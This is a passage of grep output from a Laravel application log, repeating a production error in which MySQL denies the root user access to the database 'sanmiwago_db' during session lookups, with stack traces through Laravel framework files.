127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = OxajZhXE3Wq4CnwQoYowaBx8jFMfEskJus30vnFp limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-29 06:43:16] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RUE5nclr6gDnYPZJKie6QiTFWMJ5aTn636X7Mc7P limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RUE5nclr6gDnYPZJKie6QiTFWMJ5aTn636X7Mc7P limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-29 10:44:34] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 9pVmMMYYfXqGUVaQxXqX0hrRVUxGV5UOefElBQz3 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 9pVmMMYYfXqGUVaQxXqX0hrRVUxGV5UOefElBQz3 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-29 13:11:56] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hAXPRrIzyhrxuwVEFPHE70fqvmEuAhvrDkymdJxJ limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hAXPRrIzyhrxuwVEFPHE70fqvmEuAhvrDkymdJxJ limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-29 14:06:13] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 9FJisvKJfqJxajXwRuoEG5GgM3yjRPDF88ovXQgz limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 9FJisvKJfqJxajXwRuoEG5GgM3yjRPDF88ovXQgz limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-29 14:20:41] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = QyovhXZ6Ryy257GL5Co3ObN6VCAyya5d9owJEUPd limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = QyovhXZ6Ryy257GL5Co3ObN6VCAyya5d9owJEUPd limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-29 15:59:50] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Rjtix4Lch7FcER6FggYABhjGb6c8p5NVuD1YjTMf limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Rjtix4Lch7FcER6FggYABhjGb6c8p5NVuD1YjTMf limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-29 22:27:13] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = IFpIkJdIjHXumQenmttYQizW5egbK1gxJVqw0AQx limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = IFpIkJdIjHXumQenmttYQizW5egbK1gxJVqw0AQx limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-30 18:33:52] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 2SnGwJRUHC87SxA4VCwPbrF6InablKqtw9bAwQHw limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 2SnGwJRUHC87SxA4VCwPbrF6InablKqtw9bAwQHw limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-31 01:56:18] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = B5HhKfEk8PwdBN51B6N8hoyM3F8064zrGv4V5V59 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = B5HhKfEk8PwdBN51B6N8hoyM3F8064zrGv4V5V59 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-31 02:59:01] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 3QUHw9ITRnE50sNhltKK5p1TsHqxQZL5H4oN0njJ limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 3QUHw9ITRnE50sNhltKK5p1TsHqxQZL5H4oN0njJ limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-31 11:04:30] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = DkdeD8A7spqEZWqzdrVBWKZnsCx9z7F06q2kHhVY limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = DkdeD8A7spqEZWqzdrVBWKZnsCx9z7F06q2kHhVY limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-31 22:02:22] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 95gDn6QEJ8pTuiS3RIaWGyH4kAa5mIC0m38ZKLRB limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 95gDn6QEJ8pTuiS3RIaWGyH4kAa5mIC0m38ZKLRB limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-02 07:49:32] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = OQnyLia83UyjtpK4rJ4E9gHHs0eZBoHN2kzslkbH limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = OQnyLia83UyjtpK4rJ4E9gHHs0eZBoHN2kzslkbH limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-02 17:35:56] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = XrTEdQ4pOT7tt09LAmjU1VPa9cZm0KfP3XaYhz7M limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = XrTEdQ4pOT7tt09LAmjU1VPa9cZm0KfP3XaYhz7M limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-02 21:07:21] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Yb32Hz0a4UjtJQdL3RF1TvWvIKaO6TyA89yxQP2v limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Yb32Hz0a4UjtJQdL3RF1TvWvIKaO6TyA89yxQP2v limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-03 00:53:43] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = edgA6x5lb0Y6ss3qLwR6mdqJYStkA3KP1SycHaK2 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = edgA6x5lb0Y6ss3qLwR6mdqJYStkA3KP1SycHaK2 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-03 03:17:51] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = IKx2NCsqjhqMtDiC6YHZHwxIRMAfiHCpS6xAGPMS limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = IKx2NCsqjhqMtDiC6YHZHwxIRMAfiHCpS6xAGPMS limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-03 13:33:26] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = AIA8Dx53ERnHDoQsDSkxDlsCkA0pzhi9BXJoQ8fi limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = AIA8Dx53ERnHDoQsDSkxDlsCkA0pzhi9BXJoQ8fi limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-04 01:18:41] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = s0AbktqD1SV448WFcxrXLg1iQzgnhMOaUvk0xGy4 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = s0AbktqD1SV448WFcxrXLg1iQzgnhMOaUvk0xGy4 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-04 03:48:12] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = TvZPs8r2w8lYF4Rq1R2Wc1cmfMYqBVhBwskG27mx limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = TvZPs8r2w8lYF4Rq1R2Wc1cmfMYqBVhBwskG27mx limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-04 06:59:49] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = W3Qsv1KZ4XxD4fOiVpMcXQk4Np5BMXUb2AQXQKgu limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = W3Qsv1KZ4XxD4fOiVpMcXQk4Np5BMXUb2AQXQKgu limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-04 15:44:23] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = x0pyrjNhzSXtOKjS7jYQ4PRubMDYnwNilpWFgUIc limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = x0pyrjNhzSXtOKjS7jYQ4PRubMDYnwNilpWFgUIc limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-04 17:18:40] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ssn13SoZfqYpqPZ3Nca9jSF8Nky8Pnc7Q0bemb8t limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ssn13SoZfqYpqPZ3Nca9jSF8Nky8Pnc7Q0bemb8t limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-04 18:22:09] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = mDzP3PD0rim5fsWTsXCoB9tJAI6hu0HZzWyZn1se limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = mDzP3PD0rim5fsWTsXCoB9tJAI6hu0HZzWyZn1se limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-05 12:55:10] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = TcTNmHEMVOHROEScLre3wP7fvVjPcZHCctXh8W5N limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = TcTNmHEMVOHROEScLre3wP7fvVjPcZHCctXh8W5N limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-05 15:26:25] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = zitswyYM73QYjwFPGuepZBMvtrbBojmPqGjtumeP limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = zitswyYM73QYjwFPGuepZBMvtrbBojmPqGjtumeP limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-05 16:00:14] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = M67pP1yBpsKFIs7tClSGwn2A94NFe4LRAtpRg3QM limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = M67pP1yBpsKFIs7tClSGwn2A94NFe4LRAtpRg3QM limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-06 09:35:01] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = X10akfAQ75a2JeP7YhthlrgUDEed2YLMoeg4ENgm limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = X10akfAQ75a2JeP7YhthlrgUDEed2YLMoeg4ENgm limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-06 12:14:04] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = r7iMs2sTss2RxzDnJx8JJjtvkaEityxDIQuICDsU limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = r7iMs2sTss2RxzDnJx8JJjtvkaEityxDIQuICDsU limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-06 16:33:18] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = zdbnk68AbYg0SOUupSUKmdSD7bobXijLwtglHEpZ limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: 